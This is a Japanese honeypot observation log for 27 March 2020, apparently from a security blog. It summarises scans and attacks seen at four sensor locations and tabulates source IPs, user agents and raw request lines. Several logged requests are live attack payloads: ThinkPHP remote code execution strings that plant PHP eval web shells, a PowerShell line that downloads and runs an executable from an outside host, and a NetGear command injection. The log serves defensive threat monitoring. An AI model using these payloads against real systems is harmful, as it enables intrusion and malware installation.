コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2020/03/27 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2020/03/27分です。

特徴
Location：JP

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
zgrabによるスキャン行為
Cisco PBX製品へのスキャン行為
Polycom PBX製品へのスキャン行為
Yealink PBX製品へのスキャン行為
110[.]249[.]212[.]46に関する不正通信
5[.]188[.]210[.]101に関する不正通信
を確認しました。

Location：US

NetGear製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
110[.]249[.]212[.]46に関する不正通信
を確認しました。

Location：UK

zgrabによるスキャン行為
ZmEuによるスキャン行為
phpMyAdminへのスキャン行為
を確認しました。

Location：SG

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
Apache Solrへのスキャン行為
Cisco PBX製品へのスキャン行為
Polycom PBX製品へのスキャン行為
Yealink PBX製品へのスキャン行為
FreePBXに対するログイン試行するアクセス
5[.]188[.]210[.]101に関する不正通信
を確認しました。

他
アクセス数推移

JP：総アクセス数：129 (前日比：-102)
US：総アクセス数：50 (前日比：+30)
UK：総アクセス数：12 (前日比：-23)
SG：総アクセス数：74 (前日比：-11)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 5.101.0.209 Russia
1 5.188.210.101 Russia
1 35.228.147.164 United States
2 39.106.248.149 China
17 44.224.22.196 United States
17 44.225.84.206 United States
4 110.249.212.46 China
2 120.24.208.19 China
1 134.122.100.255 United States
1 159.203.19.148 United States
1 162.243.128.204 United States
35 163.44.153.89 Japan
1 169.197.108.38 United States
45 185.53.88.38 Netherlands

UserAgent一覧

件数 UserAgent
26 -
14 AWS Security Scanner
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
35 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0
2 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1 Mozilla/5.0 zgrab/0.x
45 python-requests/2.23.0

リクエスト内容一覧

件数 Method Request Protocol
10 \x16\x03\x01
10 CONNECT 18[.]179[.]20[.]5:80 HTTP/1.0
1 GET /.env HTTP/1.1
1 GET /.local HTTP/1.1
1 GET /.production HTTP/1.1
1 GET /.remote HTTP/1.1
1 GET /000000000000.cfg HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /dms/Cisco-SPA-504G/$MA.xml HTTP/1.1
1 GET /dms/Cisco/SPA509G/509System.xml HTTP/1.1
1 GET /dms/Cisco122/$MA_SPA122.xml HTTP/1.1
1 GET /dms/Cisco_504/504System.xml HTTP/1.1
2 GET /dms/Nextiva_Service_Provider/Polycom/UC-VVX401/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom-VVX601/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom-ssip300/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom550/000000000000.cfg HTTP/1.1
2 GET /dms/Polycom7000/000000000000.cfg HTTP/1.1
1 GET /dms/PolycomVVX310/sys.cfg HTTP/1.1
1 GET /dms/Polycom_Soundpoint_IP_300d/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom_Soundpoint_IP_550_DMS/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom_VVX600/sys.cfg HTTP/1.1
1 GET /dms/Polycom_VVX_101_DMS/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom_ssip300/0000000000000.cfg HTTP/1.1
1 GET /dms/Polycomsip321/000000000000.cfg HTTP/1.1
1 GET /dms/SPIP320/000000000000.cfg HTTP/1.1
1 GET /dms/SPIP550/sys.cfg HTTP/1.1
1 GET /dms/Yealink-T27P/y000000000045.cfg HTTP/1.1
1 GET /dms/YealinkCP860/y000000000037.cfg HTTP/1.1
1 GET /dms/YealinkT22P/y000000000005.cfg HTTP/1.1
1 GET /dms/YealinkT23G/y000000000044.cfg HTTP/1.1
1 GET /dms/YealinkT23P/y000000000044.cfg HTTP/1.1
1 GET /dms/YealinkT26P/y000000000004.cfg HTTP/1.1
1 GET /dms/Yealink_T22P/dialplan.xml HTTP/1.1
1 GET /dms/bw/tftp/snomM700.htm HTTP/1.1
1 GET /dms/bw/tftp/snomM9.htm HTTP/1.1
1 GET /dms/cfg/config/yealink/y000000000003.cfg HTTP/1.1
1 GET /dms/cisco-firmware/SPA112/112System.xml HTTP/1.1
2 GET /dms/cisco/a01d01b2_3.bin HTTP/1.1
2 GET /dms/cisco/b20d01a2_3.bin HTTP/1.1
1 GET /dms/cisco/dialplan.xml HTTP/1.1
1 GET /dms/cisco/merlin2.pcm HTTP/1.1
1 GET /dms/devicecfg/yealink/y000000000002.cfg HTTP/1.1
1 GET /dms/sip/yealink/y000000000003.cfg HTTP/1.1
1 GET /dms/snom710Template/snom710.htm HTTP/1.1
1 GET /dms/snom760Template/snom760.htm HTTP/1.1
1 GET /dms/tftp/yealink/y000000000001.cfg HTTP/1.1
1 GET /dms/voip/yealink/y000000000002.cfg HTTP/1.1
1 GET /dms/voipconfig/yealink/y000000000003.cfg HTTP/1.1
1 GET /hudson HTTP/1.1
2 GET /index.php HTTP/1.1
4 GET /latest/dynamic/instance-identity/document HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /solr/ HTTP/1.1
1 GET /user/register/ HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/ HTTP/1.1
2 GET http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document HTTP/1.1
4 GET http[:]//110[.]249[.]212[.]46/testget?q=23333&port=80 HTTP/1.1
2 GET http[:]//169[.]254[.]169[.]254/ HTTP/1.1
2 GET http[:]//169[.]254[.]169[.]254/latest/dynamic/instance-identity/document HTTP/1.1
1 GET http[:]//5[.]188[.]210[.]101/echo.php HTTP/1.1
2 GET http[:]//example[.]com/ HTTP/1.1
1 OPTIONS / HTTP/1.0
1 POST //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 5.8.10.202 Russia
1 5.101.0.209 Russia
1 23.236.224.146 Canada
1 35.244.98.81 United States
1 42.190.200.239 Malaysia
1 61.219.11.153 Taiwan
1 80.82.65.234 Netherlands
9 94.191.96.213 China
1 110.249.212.46 China
1 162.243.129.97 United States
1 162.243.129.138 United States
1 169.197.108.42 United States
3 182.106.189.57 China
18 192.74.229.244 United States
1 192.241.239.55 United States
1 193.57.40.38 Ukraine
1 212.83.171.224 France
5 221.120.43.181 Taiwan
1 222.247.112.206 China

UserAgent一覧

件数 UserAgent
8 -
1 Go-http-client/1.1
3 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
1 Mozilla/5.0
4 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
8 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
18 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)
3 Mozilla/5.0 zgrab/0.x
1 PolycomVVX-VVX_300-UA/4.1.6.4835

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 0
1 \x16\x03\x01
1 GET ../../proc/ HTTP
1 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
3 GET /index.php HTTP/1.1
1 GET /index.php?a=fetch&templateFile=public/index&prefix=''&content=%3Cphp%3Efile_put_contents('spread.php','%3C?php%20@eval($_POST%5Bspread%5D);?%3E') HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5CContainer/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B1%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5CRequest/input&cacheFile=spread.php&content=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=file_put_contents&vars%5B1%5D%5B%5D=spread.php&vars%5B1%5D%5B%5D=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5Ctemplate%5Cdriver%5Cfile/write&cacheFile=spread.php&content=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
1 GET /index.php?s=index/%5Cthink%5Cview%5Cdriver%5CPhp/display&cacheFile=spread.php&content=%3C?php%20@eval($_POST%5Bspread%5D);?%3E HTTP/1.1
4 GET /phpmyadmin/ HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /polycom/ztp/64167f0e0555.cfg HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http[:]//ero[.]bckl[.]ir/download.exe','%SystemRoot%/Temp/jkoemlxsipmlhqt22861.exe');start%20%SystemRoot%/Temp/jkoemlxsipmlhqt22861.exe HTTP/1.1
4 GET /public/index.php HTTP/1.1
1 GET /public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]=echo%20^<?php%20$action%20=%20$_GET['xcmd'];system($action);?^>>hydra.php HTTP/1.1
1 GET /public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http[:]//ero[.]bckl[.]ir/download.exe','%SystemRoot%/Temp/jkoemlxsipmlhqt22861.exe');start%20%SystemRoot%/Temp/jkoemlxsipmlhqt22861.exe HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1
1 GET /solr/ HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET http[:]//110[.]249[.]212[.]46/testget?q=23333&port=80 HTTP/1.1
1 GET http[:]//icanhazip[.]com/ HTTP/1.1
1 OPTIONS / HTTP/1.0
1 POST /HNAP1/ HTTP/1.0
3 POST /index.php/?s=captcha HTTP/1.1
1 POST /index.php?s=captcha HTTP/1.1
2 POST /spread.php HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 34.95.155.194 United States
1 80.82.65.234 Netherlands
6 139.99.80.162 Singapore
1 159.203.19.148 United States
1 162.243.129.98 United States
1 162.243.131.92 United States
1 169.197.108.6 United States

UserAgent一覧

件数 UserAgent
3 -
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
2 Mozilla/5.0 zgrab/0.x
6 ZmEu

リクエスト内容一覧

件数 Method Request Protocol
1 GET ../../proc/ HTTP
1 GET /MyAdmin/scripts/setup.php HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
1 GET /myadmin/scripts/setup.php HTTP/1.1
1 GET /phpMyAdmin/scripts/setup.php HTTP/1.1
1 GET /phpmyadmin/scripts/setup.php HTTP/1.1
1 GET /pma/scripts/setup.php HTTP/1.1
1 GET /solr/ HTTP/1.1
1 GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1
1 OPTIONS / HTTP/1.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
4 5.101.0.209 Russia
1 5.188.210.101 Russia
1 35.205.237.75 United States
1 42.239.117.95 China
2 45.143.221.47 Netherlands
1 61.219.11.153 Taiwan
1 128.14.134.170 United States
1 134.122.100.255 United States
40 185.53.88.38 Netherlands
4 185.142.236.35 Netherlands
1 192.241.202.251 United States
1 192.241.226.154 United States
5 193.57.40.38 Ukraine
11 195.175.201.66 Turkey

UserAgent一覧

件数 UserAgent
7 -
1 Go-http-client/1.1
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0
9 Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
2 Mozilla/5.0 zgrab/0.x
1 python-requests/2.20.0
40 python-requests/2.23.0
2 python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.12.1.el7.x86_64

リクエスト内容一覧

件数 Method Request Protocol
2 -
1 GET /.well-known/security.txt HTTP/1.1
1 GET //admin/config.php?password%5B0%5D=ZIZO&username=admin HTTP/1.1
1 GET //login_sid.lua HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=die(@md5(HelloThinkCMF)) HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /TP/html/public/index.php HTTP/1.1
1 GET /TP/index.php HTTP/1.1
1 GET /TP/public/index.php HTTP/1.1
1 GET /dms/Cisco-SPA-504G/$MA.xml HTTP/1.1
1 GET /dms/Cisco122/$MA_SPA122.xml HTTP/1.1
1 GET /dms/Cisco_504/504System.xml HTTP/1.1
2 GET /dms/Nextiva_Service_Provider/Polycom/UC-VVX401/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom-321/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom-VVX601/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom-ssip300/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom550/000000000000.cfg HTTP/1.1
2 GET /dms/Polycom7000/000000000000.cfg HTTP/1.1
1 GET /dms/PolycomVVX310/sys.cfg HTTP/1.1
1 GET /dms/Polycom_Soundpoint_IP_550_DMS/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom_VVX600/sys.cfg HTTP/1.1
1 GET /dms/Polycom_VVX_101_DMS/000000000000.cfg HTTP/1.1
1 GET /dms/Polycom_ssip300/0000000000000.cfg HTTP/1.1
1 GET /dms/Polycomsip321/000000000000.cfg HTTP/1.1
1 GET /dms/SPIP320/000000000000.cfg HTTP/1.1
1 GET /dms/SPIP550/sys.cfg HTTP/1.1
1 GET /dms/Yealink-T27P/y000000000045.cfg HTTP/1.1
1 GET /dms/YealinkCP860/y000000000037.cfg HTTP/1.1
1 GET /dms/YealinkT23G/y000000000044.cfg HTTP/1.1
1 GET /dms/YealinkT23P/y000000000044.cfg HTTP/1.1
1 GET /dms/YealinkT26P/y000000000004.cfg HTTP/1.1
1 GET /dms/Yealink_T22P/dialplan.xml HTTP/1.1
1 GET /dms/bw/tftp/snomM700.htm HTTP/1.1
1 GET /dms/cfg/config/yealink/y000000000003.cfg HTTP/1.1
1 GET /dms/cisco-firmware/SPA112/112System.xml HTTP/1.1
1 GET /dms/cisco/4610_20_readme_SIP_R2_2.txt HTTP/1.1
2 GET /dms/cisco/a01d01b2_3.bin HTTP/1.1
2 GET /dms/cisco/b20d01a2_3.bin HTTP/1.1
1 GET /dms/cisco/merlin2.pcm HTTP/1.1
1 GET /dms/cisco/syncinfo.xml HTTP/1.1
1 GET /dms/devicecfg/yealink/y000000000002.cfg HTTP/1.1
1 GET /dms/snom710Template/snom710.htm HTTP/1.1
1 GET /dms/snom760Template/snom760.htm HTTP/1.1
1 GET /dms/voip/yealink/y000000000002.cfg HTTP/1.1
1 GET /dms/voipconfig/yealink/y000000000003.cfg HTTP/1.1
1 GET /elrekt.php HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /html/public/index.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /index.php HTTP/1.1
2 GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP HTTP/1.1
1 GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1 HTTP/1.1
1 GET /public/index.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /solr/ HTTP/1.1
2 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /thinkphp/html/public/index.php HTTP/1.1
1 GET /user/register/ HTTP/1.1
1 GET http[:]//5[.]188[.]210[.]101/echo.php HTTP/1.1
1 OPTIONS / HTTP/1.0
1 POST /HNAP1/ HTTP/1.0
1 POST /index.php?s=captcha HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1